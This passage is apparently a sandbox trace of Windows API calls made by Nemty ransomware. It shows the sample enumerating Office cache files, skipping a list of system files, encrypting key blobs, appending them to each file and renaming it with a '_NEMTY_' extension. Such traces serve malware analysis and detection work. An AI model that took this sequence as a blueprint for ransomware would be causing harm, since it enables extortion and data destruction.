(HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.826] GetLastError () returned 0x0 [0048.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.826] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.826] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.826] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.826] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="vJPUoCd2gfMVdBm5xLrwfhtjzvz9UB4q7RH/slLn+ZuWFBhjczJIO38Lg7qtU+Rz\r\nq04xnkfQBrXc1xlc683yFj6j3vO0hZITTPxcVib2OwXSCIz8L1Wk3ljXRPavjpzb\r\nJ0yJ5d0BYxYgMyZcaUlKOX02KZ1U6i5pCzvE8Y8Lh3F4+TI/sK2O5q0QENhfXWfv\r\nNFIyo+ZYXo+ltkYBvXk1vQy2OWtD0CScLrHlQbMpOKvq8txRpdMEVmvwGoAGrL+7\r\nZn6MuL3EJXdZFB60LXZdLU+gad9jkbhKTMyGgPmZVd+Ffq9rjZaLuz0LZMwu0iU5\r\n7helEYM12LaIiRxkf6bAQA==\r\n", pcchString=0x653ef9c) returned 1 [0048.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.826] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.826] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.826] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.827] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=27195) returned 1 [0048.827] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x6a30) returned 0x6346d48 [0048.827] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.828] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x6a30, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x6a30, lpOverlapped=0x0) returned 1 [0048.831] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.831] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x6a30, lpOverlapped=0x0) returned 1 [0048.831] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.831] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=27195, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a3b [0048.831] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.831] CloseHandle (hObject=0x3c8) returned 1 [0048.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.832] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed80, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.832] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.832] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.832] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm._nemty_kgobjgd_")) returned 1 [0048.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.833] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 [0048.833] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7cab9f00, ftCreationTime.dwHighDateTime=0x1cac8ad, ftLastAccessTime.dwLowDateTime=0x7cab9f00, ftLastAccessTime.dwHighDateTime=0x1cac8ad, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x10676, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="setup.chm", cAlternateFileName="")) returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2=".") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="..") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="...") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="windows") returned -1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="$RECYCLE.BIN") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="rsa") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="NTDETECT.COM") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="ntldr") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="MSDOS.SYS") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="IO.SYS") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="boot.ini") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="boot.ini") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="AUTOEXEC.BAT") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="ntuser.dat") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="desktop.ini") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="CONFIG.SYS") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="RECYCLER") returned 1 [0048.833] lstrcmpiW (lpString1="setup.chm", lpString2="BOOTSECT.BAK") returned 1 [0048.834] lstrcmpiW (lpString1="setup.chm", lpString2="bootmgr") returned 1 [0048.834] lstrcmpiW (lpString1="setup.chm", lpString2="programdata") returned 1 [0048.834] lstrcmpiW (lpString1="setup.chm", lpString2="appdata") returned 1 [0048.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.chm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.chm", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.chm", lpUsedDefaultChar=0x0) returned 9 [0048.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.chm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.chm", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.chm", lpUsedDefaultChar=0x0) returned 9 [0048.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.chm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.chm", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.chm", lpUsedDefaultChar=0x0) returned 9 [0048.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.chm", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.834] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="setup.chm", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup.chm", lpUsedDefaultChar=0x0) returned 9 [0048.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94198 [0048.834] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.834] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.834] Sleep (dwMilliseconds=0x5) [0048.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0d07e10, dwHighDateTime=0x1d561e7)) [0048.841] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653f164 | out: lpSystemTimeAsFileTime=0x653f164*(dwLowDateTime=0xd0d07e10, dwHighDateTime=0x1d561e7)) [0048.841] GetLastError () returned 0x0 [0048.841] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0048.841] GetLastError () returned 0x0 [0048.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0048.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.842] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653efa0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653efa0*=0x100) returned 1 [0048.842] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x10, dwBufLen=0x100 | out: pbData=0x653efa4*, pdwDataLen=0x653ef90*=0x100) returned 1 [0048.842] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653ef9c | out: pszString=0x0, pcchString=0x653ef9c) returned 1 [0048.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0048.842] CryptBinaryToStringA (in: pbBinary=0x653efa4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653ef9c | out: pszString="LYcFwIQAL8ekwwJPi5uL7M/9XTy2GnUjUM3Edg3U0xvl8a8RfMqwFwgUKVz1BSEg\r\nYcGUyXSR27i2+oI2EEmNUy3ibqVyWfvYflqtAGokiQQ2U2kiW9CYa9E5JmpEZLKA\r\nPPY2ldduWANDgL0TvDLyDK+kvhE0GD8LJOR55m+JsUtRIVDSDNJS9gg9UkgqZtkU\r\n62KzsJEIZ2mDmPC6yh+HPTTD+8zJdjb+23FO1YDsHra+eXCunoaDc7IYLRbDAa+2\r\nMqY+rEARf1rJDSzG/BTre2g9kjfwiJVD1WbmDkBxJ+YLHqMT0mhvy7F3sz0baiDk\r\n2EYHGa4cmN7GeVM2n9PALw==\r\n", pcchString=0x653ef9c) returned 1 [0048.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63401b8 [0048.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.842] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0048.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0048.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6340330 [0048.842] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3c8 [0048.842] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x653f1f0 | out: lpFileSize=0x653f1f0*=67190) returned 1 [0048.842] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10670) returned 0x6346d48 [0048.842] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.842] ReadFile (in: hFile=0x3c8, lpBuffer=0x6346d48, nNumberOfBytesToRead=0x10670, lpNumberOfBytesRead=0x653f1e4, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesRead=0x653f1e4*=0x10670, lpOverlapped=0x0) returned 1 [0048.849] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0048.849] WriteFile (in: hFile=0x3c8, lpBuffer=0x6346d48*, nNumberOfBytesToWrite=0x10670, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6346d48*, lpNumberOfBytesWritten=0x653f1dc*=0x10670, lpOverlapped=0x0) returned 1 [0048.849] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d48 | out: hHeap=0x4f90000) returned 1 [0048.849] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=67190, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10676 [0048.850] WriteFile (in: hFile=0x3c8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653f1dc, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653f1dc*=0x167, lpOverlapped=0x0) returned 1 [0048.850] CloseHandle (hObject=0x3c8) returned 1 [0048.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63404a8 [0048.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0048.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0048.851] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ece0, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0048.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0048.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942e8 [0048.851] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6343fe8 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942e8 | out: hHeap=0x4f90000) returned 1 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.851] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\setup.chm._NEMTY_kGOBjgD_" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.chm._nemty_kgobjgd_")) returned 1 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63404a8 | out: hHeap=0x4f90000) returned 1 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340330 | out: hHeap=0x4f90000) returned 1 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.851] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94240 | out: hHeap=0x4f90000) returned 1 [0048.852] FindNextFileW (in: hFindFile=0x3423930, lpFindFileData=0x653f348 | out: lpFindFileData=0x653f348*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x42c75f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x42c75f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2488, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2=".") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="..") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="...") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="windows") returned -1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="$RECYCLE.BIN") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="rsa") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="NTDETECT.COM") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="ntldr") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="MSDOS.SYS") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="IO.SYS") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="boot.ini") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="AUTOEXEC.BAT") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="ntuser.dat") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="desktop.ini") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="CONFIG.SYS") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="RECYCLER") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="BOOTSECT.BAK") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="bootmgr") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="programdata") returned 1 [0048.852] lstrcmpiW (lpString1="Setup.xml", lpString2="appdata") returned 1 [0048.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed80 [0048.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f250, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed80 | out: hHeap=0x4f90000) returned 1 [0048.852] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.852] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.852] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2a0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0048.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0048.853] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Setup.xml", cchWideChar=9, lpMultiByteStr=0x653f2d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Setup.xml", lpUsedDefaultChar=0x0) returned 9 [0048.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0048.853] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94240 [0048.853] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94198 | out: hHeap=0x4f90000) returned 1 